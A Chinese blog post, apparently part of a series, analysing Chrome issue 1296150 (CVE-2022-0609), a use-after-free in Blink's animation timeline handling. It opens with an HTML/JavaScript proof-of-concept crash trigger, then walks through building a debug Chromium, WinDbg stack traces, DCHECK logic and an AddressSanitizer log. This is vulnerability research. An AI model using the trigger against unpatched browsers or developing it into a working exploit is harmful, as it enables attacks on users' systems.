Chrome漏洞分析与利用(九)——issue 1296150(cve 2022-0609)

22 篇文章 1 订阅
6 篇文章 0 订阅

POC

issue 1296150(CVE 202-0609)

​​<html>
<body>
<script>
alert(0);
//创建DIV
var target0 = document.createElement("div");
//设置DIV属性
target0.style.width = "20px";
target0.style.height = "20px";
target0.style.backgroundColor = "transparent";
document.body.appendChild(target0);
//
Object.defineProperty(Object.prototype, 'then', {
    get: function () {
      if (this.toString() == "[object Animation]") {
        new DocumentTimeline({ originTime: 500 });
      }
    }
});

async function poc()
{
    anim0 = target0.animate({ opacity: [0, 1] }, 1);
    anim0.finished.then(async function () {
    });
    return;
}
poc();
alert(1);
</script>
</body>
</html>

由于此漏洞在常规的chromium release版本下没有看到触发效果,通过查看issue页面发现崩溃产生于DCHECK(),故尝试编译debug版进行漏洞调试
在这里插入图片描述

漏洞环境

git配置
在这里插入图片描述

安装vs,勾选以下组件其余默认,vs最好安装在默认路径否则在编译时可能出现问题,具体问题及解决办法查看v8编译
在这里插入图片描述
在这里插入图片描述
然后设置好环境变量
在这里插入图片描述
在这里插入图片描述
使用以下方法获取指定版本chromium的源码

git clone -b 98.0.4758.82 --depth 1 https://chromium.googlesource.com/chromium/src.git

再使用以下方法同步源码并同时执行runhooks

gclient sync

使用以下方法清理目录

git clean -f -d

最后执行以下内容打开编译配置文件

gn args out/debug --ide=vs2019

在编译配置文件中写入以下内容,symbol级别越高编译时间越长,以下配置编译时间大概得十几个小时,如果不需要分析dcheck_eq抛出异常的原因的话可以直接开启asan将dcheck_always_on置为false然后再将is_debug置为false编译release版,但是release会有大量函数被内联与优化可能会对分析产成很大麻烦,所以建议如果条件允许的话将两种都编译出来

is_debug = true  #为debug版时为true,release版为false
#is_asan = true #如果需要asan进行内存分析加上此参数,但必须要将is_debug设为false编译release版
#is_official_build=true #指明使用Chrome官方的编译优化建议。编译release版时使用
dcheck_always_on = true #开启完整decheck检查,此漏洞中如果不需要分析dcheck_eq检查失败的原因的话,就将此处置为false
symbol_level = 2  #最高级别最完整的符号文件,此处会影响编译速度
blink_symbol_level = 1 #开启blink源码级调试,此处会影响编译速度
v8_symbol_level = 1 #开启v8源码级调试,此处会影响编译速度
target_cpu = "x64" #cpu架构,使用gn help target_cpu查看可选项
target_os = "win" #目标系统,使用gn help target_os查看可选项
ffmpeg_branding = "Chrome"

更详细的参数说明可在执行完gn gen out/x64.debug --ide=vs后再执行gn args --list out/x64.debug查看
然后使用以下方法进行编译

autoninja -C out/x64.debug chrome

环境编译部分可能会出现以下报错:
错误一
在这里插入图片描述
而win kits中实际上是
在这里插入图片描述
此处要么是去修改py脚本要么就去安装一个对应版本的,建议去再安装一个SDK,按照官方说法此版本必须要用10.0.19041.0及以上版本的sdk才可以
在这里插入图片描述
在这里插入图片描述

输出成功后
在这里插入图片描述
错误二
这是最难搞的的一个问题,当生成配置文件后直接用ninja进行编译
报错:
在这里插入图片描述

"C:\vun\depot_tools\ninja.exe" -C out/x64.debug chrome -j 10
 
ninja: Entering directory `out/x64.debug'
[6/47285] ACTION //base:build_date(//build/toolchain/win:win_clang_x64)
 
FAILED: gen/base/generated_build_date.h
 
C:/vun/depot_tools/bootstrap-2@3_8_10_chromium_23_bin/python3/bin/python3.exe ../../build/write_build_date_header.py gen/base/generated_build_date.h -2142000
Traceback (most recent call last):
File "../../build/write_build_date_header.py", line 37, in <module>
sys.exit(main())
 
File "../../build/write_build_date_header.py", line 19, in main
date = datetime.datetime.utcfromtimestamp(int(args.timestamp))
OSError: [Errno 22] Invalid argument
[15/47285] ACTION //chrome/browser/extensions/api:api_regi...enerator_registration(//build/toolchain/win:win_clang_x64)
 
ninja: build stopped: subcommand failed.
 

通过报错大致可知这是由时间戳导致的,通过gn args -list out/x64.debug查看编译参数找到与build time相关的时间戳操作参数
在这里插入图片描述
然后找到在src/build目录下"compute_build_timestamp.py"脚本,通过脚本可知此脚本会从src/build/util目录下的LASTCHANGE.committime文件获取提交时间,通过此时间算出build time timestamp,具体计算方法没有细看但根据计算出的结果可知会通过类似于减法的方法得到最后的timestamp,而LASTCHANGE.committime保存的值为0,所以通过计算最后会得到一个负数(-2142000),而此负数就是导致编译出错的原因
在这里插入图片描述
在这里插入图片描述

参考:Checking out and Building Chromium for Windows

漏洞分析

DCHECK异常分析

执行poc触发崩溃,查看其函数调用栈

0:000> kb
 # RetAddr               : Args to Child                                                           : Call Site
00 00007ffa`f9aae649     : 00000000`00000000 000000d0`0cdfc0f8 000000d0`0cdfc250 00000287`bec96160 : base!base::debug::BreakDebuggerAsyncSafe+0x21 [D:\data\vun2\src\base\debug\debugger_win.cc @ 21] 
01 00007ffa`f9b0237c     : 00007ffa`f8b43cd0 00000000`00000000 00000000`00000000 000000d0`0cdfc1ec : base!base::debug::BreakDebugger+0x9 [D:\data\vun2\src\base\debug\debugger.cc @ 45] 
02 00007ffa`f9b0358c     : 00000000`00000000 00000287`beb92a90 00000287`bece1cf0 00007ffa`f9a6b8b4 : base!logging::LogMessage::~LogMessage+0x6dc [D:\data\vun2\src\base\logging.cc @ 889] 
03 00007ffa`f9a6b64f     : 00000287`beb92a80 00007ffa`f9a6b616 010000d0`0cdfd718 00007ffa`c4453f9e : base!logging::LogMessage::~LogMessage+0x2c [D:\data\vun2\src\base\logging.cc @ 581] 
04 00007ffa`c35ff443     : 000000d0`0cdfd768 00007ffa`c35ff355 000000d0`0cdfd788 00000000`00000000 : base!logging::CheckError::~CheckError+0x2f [D:\data\vun2\src\base\check.cc @ 107] 
05 00007ffa`c35ff2df     : 00000000`00000001 00000000`00000000 00000000`00000000 000000d0`0cdfd838 : blink_core!WTF::HashTableConstIterator<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy>,cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy>,WTF::IdentityExtractor,WTF::MemberHash<blink::AnimationTimeline>,WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> >,WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> >,blink::HeapAllocator>::CheckModifications+0xa3 [D:\data\vun2\src\third_party\blink\renderer\platform\wtf\hash_table.h @ 350] 
06 00007ffa`c35fc9d8     : 00000000`002058c2 aaaaaaaa`aaaaaaaa aaaaaaaa`00000002 aaaaaaaa`aaaaaa01 : blink_core!WTF::HashTableConstIterator<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy>,cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy>,WTF::IdentityExtractor,WTF::MemberHash<blink::AnimationTimeline>,WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> >,WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> >,blink::HeapAllocator>::operator+++0x9f [D:\data\vun2\src\third_party\blink\renderer\platform\wtf\hash_table.h @ 368] 
07 00007ffa`c35fc813     : 00000000`1b65ba4a 00000000`00000000 0000094c`003bbf60 00000000`1b65ba4a : blink_core!WTF::HashTableConstIteratorAdapter<WTF::HashTable<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy>,cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy>,WTF::IdentityExtractor,WTF::MemberHash<blink::AnimationTimeline>,WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> >,WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> >,blink::HeapAllocator>,WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> > >::operator+++0x18 [D:\data\vun2\src\third_party\blink\renderer\platform\wtf\hash_table.h @ 2261] 
08 00007ffa`c35fc4b0     : 0000094c`003c24e0 00000000`1b65ba4a 0000094c`008c3b70 00007ffa`c0a9f9f3 : blink_core!blink::`anonymous namespace'::UpdateAnimationTiming+0x183 [D:\data\vun2\src\third_party\blink\renderer\core\animation\document_animations.cc @ 61] 
09 00007ffa`c11c688f     : 0000094c`008c35b0 00007ffa`c0240d73 00000000`00000000 000000d0`0cdfdb10 : blink_core!blink::DocumentAnimations::UpdateAnimationTimingForAnimationFrame+0x50 [D:\data\vun2\src\third_party\blink\renderer\core\animation\document_animations.cc @ 90] 
0a 00007ffa`c23db280     : 00000000`01dfdaa8 00007ffa`c023b337 00006210`c18ddee7 00007b04`00308000 : blink_core!blink::LocalFrameView::ServiceScriptedAnimations+0x33f [D:\data\vun2\src\third_party\blink\renderer\core\frame\local_frame_view.cc @ 3713] 
0b 00007ffa`c23e3010     : 000000d0`0cdfdd18 00000000`0000000c 00007b04`002a4000 00007ffa`c12efafb : blink_core!blink::PageAnimator::ServiceScriptedAnimations+0x3e0 [D:\data\vun2\src\third_party\blink\renderer\core\page\page_animator.cc @ 79] 
0c 00007ffa`c12fb73b     : 00007b04`00308000 00007b04`00308290 00000000`1b65bdac 00007b04`00308000 : blink_core!blink::PageWidgetDelegate::Animate+0x50 [D:\data\vun2\src\third_party\blink\renderer\core\page\page_widget_delegate.cc @ 55] 
0d 00007ffa`bc0e643c     : 00007ffa`fa130f60 00000000`00000000 00000287`be858628 00000287`be920fb0 : blink_core!blink::WebFrameWidgetImpl::BeginMainFrame+0x3bb [D:\data\vun2\src\third_party\blink\renderer\core\frame\web_frame_widget_impl.cc @ 2060] 
0e 00007ffa`bc054cdd     : 00005165`6db976c9 00000287`be9111d8 00000287`beb8e8c0 00007ffa`d91f8a53 : blink_platform!blink::WidgetBase::BeginMainFrame+0xec [D:\data\vun2\src\third_party\blink\renderer\platform\widget\widget_base.cc @ 823] 
0f 00007ffa`d91f8b4a     : 000000d0`0cdfe438 00007ffa`d9315113 00000287`beb8e860 00000000`00000000 : blink_platform!blink::LayerTreeView::BeginMainFrame+0x7d [D:\data\vun2\src\third_party\blink\renderer\platform\widget\compositing\layer_tree_view.cc @ 196] 
10 00007ffa`d9320a63     : 00000100`0000000b 000000d0`0cdfdf80 00000287`be88ad40 00007ffa`f9a6af77 : cc!cc::LayerTreeHost::BeginMainFrame+0x2a [D:\data\vun2\src\cc\trees\layer_tree_host.cc @ 339] 
11 00007ffa`d931d1c3     : 000000d0`0cdfe478 00007ffa`f9a9c30f 00000287`beb8cce0 00000287`bece0a98 : cc!cc::ProxyMain::BeginMainFrame+0xa53 [D:\data\vun2\src\cc\trees\proxy_main.cc @ 242] 

直接从~CheckError函数的上一级调用CheckModifications函数看起,出现错误的是DCHECK_EQ语句,该语句会检查container_modifications_与container_->Modifications()的值是否相等,如果不相等就检查出错
在这里插入图片描述
CheckModifications函数的调用者为一个运算符重载operator++,在该运算符重载中会先调用DCHECK_NE去检查position_是否非等于end_position_,如果当前位置不等于结束位置的话就去调用CheckModifications去检查container_modifications_,如果两项检查都通过就++position_更新当前位置。
在这里插入图片描述
前一个运算符重载operator++会被HashTableConstIteratorAdapter类的运算符重载operator++所调用
在这里插入图片描述
HashTableConstIteratorAdapter类的运算符重载operator++被UpdateAnimationTiming函数调用,在UpdateAnimationTiming函数中会调用for语句去对HashSet结构timelines进行遍历操作,
在这里插入图片描述
通过调试来分析迭代器timelines对象,当代码运行到auto& timeline:timelines时获取到timelines,并将其作为this传入HashTableConstIteratorAdapter运算符重载operator++
在这里插入图片描述
在HashTableConstIteratorAdapter运算符重载operator++中再将刚刚获取到的timelines作为this指针传入HashTableConstIterator运算符重载operator++
在这里插入图片描述
之后HashTableConstIterator运算符重载operator++会去调用CheckModifications,CheckModifications函数也属于HashTableConstIterator类的成员函数。
在这里插入图片描述
接下来分析DCHECK_EQ
在这里插入图片描述
这部分代码会先通过将timelines对象+0x18偏移处保存的指针作为this指针去调用Modifications函数来获取container_->modifications_在这里插入图片描述
Modifications函数逻辑比较简单,从this指针+0x14偏移处取出成员变量modifications_
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
之后会将获取到的modifications_存入r8寄存器,在正常不触发漏洞情况下此处取出的modifications_应该与后面得到的timeline->container_modifications_应该相等。
在这里插入图片描述
然后再通过timelines对象+0x20偏移获取到其container_modifications_成员变量存入rdx寄存器
在这里插入图片描述
在这里插入图片描述

然后会进入dcheck函数blink_core!logging::CheckEQImpl<long long,long long,0>,在此函数中会将r8与rdx寄存器中的值先放入栈中,然后再通过比较两值是否相等来进入相应的分支
在这里插入图片描述
当两值相等时会经过以下调用路径,最终得到返回值为指向栈中一个地址的指针其保存的值为0
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
接下来会去调用blink_core!logging::CheckOpResult::operator bool函数,该函数的逻辑比较简单,它会将刚才的返回值指针传入,在获取其保存的值并与0进行比较,如果相等就返回true否则false
在这里插入图片描述
之后的逻辑大致为判断blink_core!logging::CheckOpResult::operator bool函数返回值是否为true如果为true就正常执行,如果为false就进入前面获取到的错误中断的调用流程。
上面为正常执行流程的分析,由于该漏洞是在一个循环中被触发的,而且触发时的执行次数也无法确定,但是通过前面的分析可知是否会触发漏洞的判断条件为两个modifications_变量是否相等,所以根据此特性使用条件断点在漏洞触发时断下,查看timelines对象状态,当触发漏洞时timelines->container_modifications_内存状态为:
在这里插入图片描述
container_->modifications_内存状态为:
在这里插入图片描述
由于container_modifications_!=container_->modifications_于是就会触发异常中断。

内存异常分析

UpdateAnimationTiming函数在chrome运行过程中会被调用很多次,为了能够精准的找到漏洞触发时的那一次UpdateAnimationTiming调用,通过在poc中添加alert或者SystemBreak再配合windbg,最后在源码中下断点找到当执行完被修改的then get属性函数后会触发一次UpdateAnimationTiming函数调用。
在这里插入图片描述
查看其获取到的timelines对象结构,分析此结构可知此次调用其container_modifications_为1,而container->modifications_为2,在DCHECK_EQ检查时就会出现异常,也就是说漏洞触发的位置在DocumentTimeline对象创建后与then get函数执行结束前。
在这里插入图片描述
由于之前的分析只是去分析了DCHECK抛出异常的原因以及漏洞在DCHECK检查以前的触发流程,而众所周知UAF是释放后重用,所以还需要找到被释放的内存以及该内存被释放以及被重用的位置;想要更详细快速分析需要借助asan(Address Sanitizer),它是一个快速的内存错误检测工具,通过在编译chrome时将编译参数is_asan设为true开启,不过开启asan需要将is_debug参数置为false还要将dcheck_always_on参数置为false否则asan将会卡在DCHECK_EQ检查失败处。执行编译好的chrome运行poc,查看asan日志输出:

==3244==ERROR: AddressSanitizer: use-after-poison on address 0x7ef60064c090 at pc 0x7ffe9403c27c bp 0x0042b69fe8a0 sp 0x0042b69fe8e8
READ of size 8 at 0x7ef60064c090 thread T0
    #0 0x7ffe9403c27b in cppgc::internal::MemberBase::GetRaw D:\data\vun2\src\v8\include\cppgc\member.h:34
    #1 0x7ffe9403c27b in cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy>::Get D:\data\vun2\src\v8\include\cppgc\member.h:192
    #2 0x7ffe9403c27b in cppgc::internal::operator== D:\data\vun2\src\v8\include\cppgc\member.h:235
    #3 0x7ffe9403c27b in WTF::HashTraitsEmptyValueChecker<WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> >,0>::IsEmptyValue D:\data\vun2\src\third_party\blink\renderer\platform\wtf\hash_traits.h:348
    #4 0x7ffe9403c27b in WTF::IsHashTraitsEmptyValue D:\data\vun2\src\third_party\blink\renderer\platform\wtf\hash_traits.h:353
    #5 0x7ffe9403c27b in WTF::HashTableHelper<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy>,WTF::IdentityExtractor,WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> > >::IsEmptyBucket D:\data\vun2\src\third_party\blink\renderer\platform\wtf\hash_table.h:663
    #6 0x7ffe9403c27b in WTF::HashTableHelper<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy>,WTF::IdentityExtractor,WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> > >::IsEmptyOrDeletedBucketForKey D:\data\vun2\src\third_party\blink\renderer\platform\wtf\hash_table.h:669
    #7 0x7ffe9403c27b in WTF::HashTableHelper<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy>,WTF::IdentityExtractor,WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> > >::IsEmptyOrDeletedBucket D:\data\vun2\src\third_party\blink\renderer\platform\wtf\hash_table.h:673
    #8 0x7ffe9403c27b in WTF::HashTable<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy>,cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy>,WTF::IdentityExtractor,WTF::MemberHash<blink::AnimationTimeline>,WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> >,WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> >,blink::HeapAllocator>::IsEmptyOrDeletedBucket D:\data\vun2\src\third_party\blink\renderer\platform\wtf\hash_table.h:836
    #9 0x7ffe9403c27b in WTF::HashTableConstIterator<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy>,cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy>,WTF::IdentityExtractor,WTF::MemberHash<blink::AnimationTimeline>,WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> >,WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> >,blink::HeapAllocator>::SkipEmptyBuckets D:\data\vun2\src\third_party\blink\renderer\platform\wtf\hash_table.h:292
    #10 0x7ffe9403c27b in WTF::HashTableConstIterator<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy>,cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy>,WTF::IdentityExtractor,WTF::MemberHash<blink::AnimationTimeline>,WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> >,WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> >,blink::HeapAllocator>::operator++ D:\data\vun2\src\third_party\blink\renderer\platform\wtf\hash_table.h:370
    #11 0x7ffe9403c27b in WTF::HashTableConstIteratorAdapter<WTF::HashTable<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy>,cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy>,WTF::IdentityExtractor,WTF::MemberHash<blink::AnimationTimeline>,WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> >,WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> >,blink::HeapAllocator>,WTF::HashTraits<cppgc::internal::BasicMember<blink::AnimationTimeline,cppgc::internal::WeakMemberTag,cppgc::internal::DijkstraWriteBarrierPolicy,cppgc::internal::DisabledCheckingPolicy> > >::operator++ D:\data\vun2\src\third_party\blink\renderer\platform\wtf\hash_table.h:2261
    #12 0x7ffe9403c27b in blink::`anonymous namespace'::UpdateAnimationTiming D:\data\vun2\src\third_party\blink\renderer\core\animation\document_animations.cc:61
    #13 0x7ffe9403c27b in blink::DocumentAnimations::UpdateAnimationTimingForAnimationFrame(void) D:\data\vun2\src\third_party\blink\renderer\core\animation\document_animations.cc:100:1
    #14 0x7ffe90cac4a9 in blink::LocalFrameView::ServiceScriptedAnimations(class base::TimeTicks) D:\data\vun2\src\third_party\blink\renderer\core\frame\local_frame_view.cc:3711:39
    #15 0x7ffe93c1c065 in blink::PageAnimator::ServiceScriptedAnimations(class base::TimeTicks) D:\data\vun2\src\third_party\blink\renderer\core\page\page_animator.cc:78:23
    #16 0x7ffe93dcf07a in blink::PageWidgetDelegate::Animate(class blink::Page &, class base::TimeTicks) D:\data\vun2\src\third_party\blink\renderer\core\page\page_widget_delegate.cc:51:19
    #17 0x7ffe90c566fe in blink::WebFrameWidgetImpl::BeginMainFrame(class base::TimeTicks) D:\data\vun2\src\third_party\blink\renderer\core\frame\web_frame_widget_impl.cc:2060:3
    #18 0x7ffe93cf05be in blink::WidgetBase::BeginMainFrame(class base::TimeTicks) D:\data\vun2\src\third_party\blink\renderer\platform\widget\widget_base.cc:823:12
    #19 0x7ffe9189e7e3 in cc::ProxyMain::BeginMainFrame(class std::__1::unique_ptr<struct cc::BeginMainFrameAndCommitState, struct std::__1::default_delete<struct cc::BeginMainFrameAndCommitState>>) D:\data\vun2\src\cc\trees\proxy_main.cc:242:21
    #20 0x7ffe95934f12 in base::internal::FunctorTraits<void (cc::ProxyMain::*)(std::__1::unique_ptr<cc::BeginMainFrameAndCommitState,std::__1::default_delete<cc::BeginMainFrameAndCommitState> >),void>::Invoke D:\data\vun2\src\base\bind_internal.h:535
    #21 0x7ffe95934f12 in base::internal::InvokeHelper<1,void>::MakeItSo D:\data\vun2\src\base\bind_internal.h:719
    #22 0x7ffe95934f12 in base::internal::Invoker<base::internal::BindState<void (cc::ProxyMain::*)(std::__1::unique_ptr<cc::BeginMainFrameAndCommitState,std::__1::default_delete<cc::BeginMainFrameAndCommitState> >),base::WeakPtr<cc::ProxyMain>,std::__1::unique_ptr<cc::BeginMainFrameAndCommitState,std::__1::default_delete<cc::BeginMainFrameAndCommitState> > >,void ()>::RunImpl D:\data\vun2\src\base\bind_internal.h:772
    #23 0x7ffe95934f12 in base::internal::Invoker<struct base::internal::BindState<void (__cdecl cc::ProxyMain::*)(class std::__1::unique_ptr<struct cc::BeginMainFrameAndCommitState, struct std::__1::default_delete<struct cc::BeginMainFrameAndCommitState>>), class base::WeakPtr<class cc::ProxyMain>, class std::__1::unique_ptr<struct cc::BeginMainFrameAndCommitState, struct std::__1::default_delete<struct cc::BeginMainFrameAndCommitState>>>, (void)>::RunOnce(class base::internal::BindStateBase *) D:\data\vun2\src\base\bind_internal.h:741:12
    #24 0x7ffe8c1320d4 in base::OnceCallback<void ()>::Run D:\data\vun2\src\base\callback.h:143
    #25 0x7ffe8c1320d4 in base::TaskAnnotator::RunTaskImpl(struct base::PendingTask &) D:\data\vun2\src\base\task\common\task_annotator.cc:135:32
    #26 0x7ffe8ec5a605 in base::TaskAnnotator::RunTask D:\data\vun2\src\base\task\common\task_annotator.h:75
    #27 0x7ffe8ec5a605 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(class base::sequence_manager::LazyNow *) D:\data\vun2\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:356:21
    #28 0x7ffe8ec59cd8 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork(void) D:\data\vun2\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:261:30
    #29 0x7ffe8ec32a77 in base::MessagePumpDefault::Run(class base::MessagePump::Delegate *) D:\data\vun2\src\base\message_loop\message_pump_default.cc:38:55
    #30 0x7ffe8ec5bcd1 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, class base::TimeDelta) D:\data\vun2\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:468:12
    #31 0x7ffe8c0b1c23 in base::RunLoop::Run(class base::Location const &) D:\data\vun2\src\base\run_loop.cc:140:14
    #32 0x7ffe8e72639e in content::RendererMain(struct content::MainFunctionParams) D:\data\vun2\src\content\renderer\renderer_main.cc:283:16
    #33 0x7ffe87dc591d in content::RunOtherNamedProcessTypeMain(class std::__1::basic_string<char, struct std::__1::char_traits<char>, class std::__1::allocator<char>> const &, struct content::MainFunctionParams, class content::ContentMainDelegate *) D:\data\vun2\src\content\app\content_main_runner_impl.cc:678:14
    #34 0x7ffe87dc7583 in content::ContentMainRunnerImpl::Run(void) D:\data\vun2\src\content\app\content_main_runner_impl.cc:1028:10
    #35 0x7ffe87dc36e5 in content::RunContentProcess(struct content::ContentMainParams, class content::ContentMainRunner *) D:\data\vun2\src\content\app\content_main.cc:398:36
    #36 0x7ffe87dc4770 in content::ContentMain(struct content::ContentMainParams) D:\data\vun2\src\content\app\content_main.cc:426:10
    #37 0x7ffe816e148e in ChromeMain D:\data\vun2\src\chrome\app\chrome_main.cc:177:12
    #38 0x7ff65ccd5b65 in MainDllLoader::Launch(struct HINSTANCE__*, class base::TimeTicks) D:\data\vun2\src\chrome\app\main_dll_loader_win.cc:169:12
    #39 0x7ff65ccd2c31 in main D:\data\vun2\src\chrome\app\chrome_exe_main_win.cc:382:20
    #40 0x7ff65d0d8eff in invoke_main d:\a01\_work\12\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:78
    #41 0x7ff65d0d8eff in __scrt_common_main_seh d:\a01\_work\12\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:288
    #42 0x7fff047a7973  (C:\Windows\System32\KERNEL32.DLL+0x180017973)
    #43 0x7fff04a0a2f0  (C:\Windows\SYSTEM32\ntdll.dll+0x18005a2f0)

Address 0x7ef60064c090 is a wild pointer inside of access range of size 0x000000000008.
SUMMARY: AddressSanitizer: use-after-poison D:\data\vun2\src\v8\include\cppgc\member.h:34 in cppgc::internal::MemberBase::GetRaw
Shadow bytes around the buggy address:
  0x11f76d2497c0: 00 00 00 00 f7 00 00 00 00 00 00 00 00 00 00 00
  0x11f76d2497d0: 00 00 00 00 00 00 00 00 00 f7 f7 f7 f7 f7 f7 f7
  0x11f76d2497e0: f7 f7 f7 f7 f7 f7 f7 f7 00 00 00 00 f7 f7 f7 00
  0x11f76d2497f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x11f76d249800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x11f76d249810: 00 00[f7]00 00 f7 00 00 f7 f7 f7 f7 f7 f7 f7 f7
  0x11f76d249820: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x11f76d249830: f7 f7 f7 f7 f7 f7 f7 00 00 00 00 00 00 00 00 00
